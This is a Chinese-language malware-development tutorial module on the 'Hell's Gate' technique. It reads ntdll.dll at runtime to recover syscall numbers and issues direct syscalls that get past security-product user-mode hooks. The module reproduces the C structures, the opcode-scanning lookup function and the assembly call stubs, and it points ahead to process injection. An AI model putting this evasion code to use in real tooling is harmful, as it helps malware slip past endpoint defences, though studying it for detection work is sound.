66-系统调用 - 地狱之门
介绍
请回忆一下,使用直接系统调用是一种绕过用户空间挂钩的方式,通过手动执行系统调用的汇编指令来实现。Hell's Gate是另一种用于执行直接系统调用的技术。通过读取ntdll.dll
,Hell's Gate可以动态地找到系统调用,然后从二进制文件中执行它们。
Hell's Gate论文可以在这里获得。
Hell's Gate 的工作原理
之前的模块使用 SysWhispers 展示了直接的系统调用。SSN 要么是硬编码的,要么使用按系统调用地址排序的方法在运行时找到 SSN。另一方面,Hell's Gate 使用不同的方法来寻找 SSN。
Hell's Gate 的方法是从被劫持的系统调用的操作码中搜索 SSN,然后在它的汇编函数中调用。
地狱之门的细分
为了便于理解,代码的复杂性需要细分为较小的子部分进行讲解。
系统调用结构
Hell's Gate 代码首先定义 VX_TABLE_ENTRY 结构。此结构表示一个系统调用,其中包含地址、系统调用名称的哈希值和 SSN。结构如下所示。
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // 系统调用函数的地址
DWORD64 dwHash; // 系统调用名称的哈希值
WORD wSystemCall; // 系统调用的 SSN
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
例如,NtAllocateVirtualMemory
将表示为 VX_TABLE_ENTRY NtAllocateVirtualMemory
。
系统调用表
程序正在使用的系统调用保存在另一个结构 VX_TABLE 中。由于 VX_TABLE
中的每个成员都是系统调用,因此每个成员都属于 VX_TABLE_ENTRY
类型。
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory; // NtAllocateVirtualMemory 系统调用
VX_TABLE_ENTRY NtProtectVirtualMemory; // NtProtectVirtualMemory 系统调用
VX_TABLE_ENTRY NtCreateThreadEx; // NtCreateThreadEx 系统调用
VX_TABLE_ENTRY NtWaitForSingleObject; // NtWaitForSingleObject 系统调用
} VX_TABLE, * PVX_TABLE;
主函数
主函数首先调用了 [RtlGetThreadEnvironmentBlock]
(https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L50) 函数来获取 TEB。这是必须的,以便通过 PEB 来获取 ntdll.dll
的基址(回想一下,PEB 位于 TEB 之内)。接下来,使用 [GetImageExportDirectory]
(https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L60) 获取 ntdll.dll
的导出目录。导出目录是通过解析 DOS
和 Nt
头部找到的,正如之前的模块中所展示的那样。
接着,针对每个系统调用,dwHash
成员(例如 NtAllocateVirtualMemory.dwHash
)被初始化为其对应的哈希值。每次初始化时,都会调用 [GetVxTableEntry]
(https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L65) 函数,如下所示。该函数已分成几部分,以简化解释过程。
GetVxTableEntry - 第 1 部分
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// ...
}
}
return TRUE;
}
该函数的第一部分搜索等于系统调用哈希值 pVxTableEntry->dwHash
的 Djb2 哈希值。一旦匹配,系统调用的地址将被保存到 pVxTableEntry->pAddress
。该函数的第二部分是 Hell's Gate 技巧所在。
GetVxTableEntry - 第 2 部分
// 如果函数已被挂钩,采用快速而简陋的修复方法
WORD cw = 0;
while (TRUE) {
// 检查系统调用,在这种情况下,我们走得太远了
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// 检查 ret,在这种情况下,我们也可能走得太远
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// 第一个操作码应该是:
// MOV R10, RCX
// MOV EAX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
找到系统调用地址 pFunctionAddress
后,第二部分从 while 循环开始。while 循环搜索 0x4c, 0x8b, 0xd1, 0xb8
字节,它们是 mov r10, rcx
和 mov eax, ssn
的操作码,是未挂钩系统调用的开始。
如果系统调用被挂钩,则操作码可能由于安全解决方案在 syscall
指令之前添加挂钩而无法匹配。为解决这个问题,Hell's Gate 尝试匹配操作码,如果未找到匹配项,则递增 cw
变量,这会在后续的循环迭代中增加系统调用的地址。这个过程继续进行,每次下降一个字节,直到达到 mov r10, rcx
和 mov eax, ssn
指令。下图说明了 Hell's Gate 如何通过遍历挂钩来找到操作码。
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/hellsgate-114089998-966e34f8-c59b-4b3a-8c84-8d6014001a19.png)
边界检查
为了防止搜索过远而获取到不同系统调用的 SSN,在 while 循环的开始处使用了两个 if 语句来检查位于系统调用末尾的 syscall
和 ret
指令。如果搜索到达这些指令之一,并且没有识别出 0x4c, 0x8b, 0xd1, 0xb8
操作码,则 SSN 的解析将失败。
// 检查是否为 syscall,如果为 syscall,则我们搜索过远了
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// 检查是否为 ret,如果为 ret,则我们也搜索过远了
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
计算和保存 SSN
另一方面,如果成功匹配到操作码,Hell's Gate 就会计算系统调用编号,并将其存储在 pVxTableEntry->wSystemCall
。不必理解计算过程,因为这需要了解位运算符的知识,但是熟悉此概念的人可以继续阅读本节。
该函数首先使用左移运算符 (<<
) 将 high
变量的位向左移移 8 位。然后,它使用按位 OR 运算符 (|
) 将第一个操作数(即 high << 8
)的每个位与第二个操作数(即 low
)的相应位进行比较。
pVxTableEntry->wSystemCall = (high << 8) | low;
为了更好地理解这一点,下面是一个使用 NtProtectVirtualMemory
系统调用演示 Hell's Gate 计算 SSN 方法的示例。
![Image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/hellsgate-214097117-16ca9e20-17b3-427c-b0b0-b0e7ec78191c.png)
上图简化为以下代码段。
00007FFCC42C4570 | 4C:8BD1 | mov r10,rcx |
00007FFCC42C4573 | B8 50000000 | mov eax,50 | 50:'P'
00007FFCC42C4582 | 0F05 | syscall |
00007FFCC42C4584 | C3 | ret |
4C:8BD1 B8 50000000
字节对应以下偏移量:
4C
是偏移量 0,8B
是偏移量 1,D1
是偏移量 2,B8
是偏移量 3,50
是偏移量 4,00
是偏移量 5,依此类推。GetVxTableEntry
函数指定 high
和 low
变量的偏移量分别为 5 和 4。
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); // 偏移量 5
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); // 偏移量 4
检查偏移量 5 处的数值,发现它为 0x00
,而偏移量 4 处的数值为 0x50
。这意味着 high
的值为 0x00
,low
的值为 0x50
。因此,SSN 等于 (0x00 << 8) | 0x50
。
![Image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/hellsgate-314099314-0029aee9-f8c2-4436-a740-4c2964a952be.png)
按位运算的结果与 NtProtectVirtualMemory
的 SSN 编号相匹配,十六进制为 50。
![Image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/hellsgate-414099901-48434135-7e83-4cd5-aea6-94d1ef75f652.png)
调用系统调用
在 Hells Gate 完全初始化目标系统调用的 VX_TABLE_ENTRY
结构后,便可对其进行调用。为此,Hells Gate 使用两个 64 位汇编函数:HellsGate
和 HellDescent
,这两个函数在 hellsgate.asm 文件中展示。
数据段
wSystemCall DWORD 000h ;这是一个全局变量,用于保存系统调用的 SSN
代码段
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx ;使用输入参数(ecx 寄存器值)更新“wSystemCall”变量
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall ;`wSystemCall` 是要调用的系统调用的 SSN
syscall
ret
HellDescent ENDP
结束
要调用系统调用,首先,需要将系统调用号传给 HellsGate
函数。这会将其保存到 wSystemCall
全局变量中以备将来使用。接下来,使用 HellDescent
通过传入系统调用的参数来调用系统调用。这在 Payload 函数中演示。
结论
事实证明,通过使用直接系统调用、SysWhispers 工具和地狱之门技术,可以绕过用户空间钩子。在后续模块中,先前实现的进程注入技术将被修改为利用系统调用而不是 WinAPI。